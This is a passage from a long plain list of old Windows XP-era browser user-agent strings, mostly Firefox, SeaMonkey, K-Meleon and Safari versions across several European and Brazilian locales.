U; Windows NT 5.1; nl-NL; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.13) Gecko/20100914 Lightning/1.0b1 SeaMonkey/2.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mnenhy/0.7.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.22) Gecko/20090623 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6 Mnenhy/0.7.5.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.9a1) Gecko/20060812 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; MEGAUPLOAD 1.0; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Flock/0.7.4.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.6) Gecko/2009011913 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20041221\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1b3pre) Gecko/20090205 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.3) Gecko/20100401 Lightningquail/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9b5) Gecko/2008032620 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/532.4 (KHTML, like Gecko) WeltweitimnetzBrowser/0.25 Safari/532.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/533.3 (KHTML, like Gecko)  QtWeb Internet Browser/3.7 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/533.3 (KHTML, like Gecko) WeltweitimnetzBrowser/0.25 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.12 (KHTML, like Gecko) Navscape/Pre-0.1 Safari/534.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.12 (KHTML, like Gecko) NavscapeNavigator/Pre-0.1 Safari/534.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.12 (KHTML, like Gecko) WeltweitimnetzBrowser/0.25 Safari/534.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.8 (KHTML, like Gecko) Navscape/Pre-0.2 Safari/534.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.21) Gecko/20090303 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.21) Gecko/20090403 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9) Gecko/20071025 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.7) Gecko/20091221 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1) Gecko/20060918 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.21) Gecko/20090303 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt; rv:1.9.1.13) Gecko/20100917 Firefox/3.5.13 Lunascape/6.3.2.22803\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080603 Firefox/2.0.0.14 Flock/1.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.15) Gecko/20080706 Firefox/2.0.0.15 Flock/1.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2008121300 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.12) Gecko/20100824 MRA 5.7 (build 03755) Firefox/3.5.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 MRA 5.7 (build 03796) Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 MRA Firefox/3.6.13 (.NET CLR 2.0.50727)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.18pre) Gecko/20110610 Namoroka/3.6.18pre ( )\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.20pre) Gecko/20110718 Namoroka/3.6.20pre ( )\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) 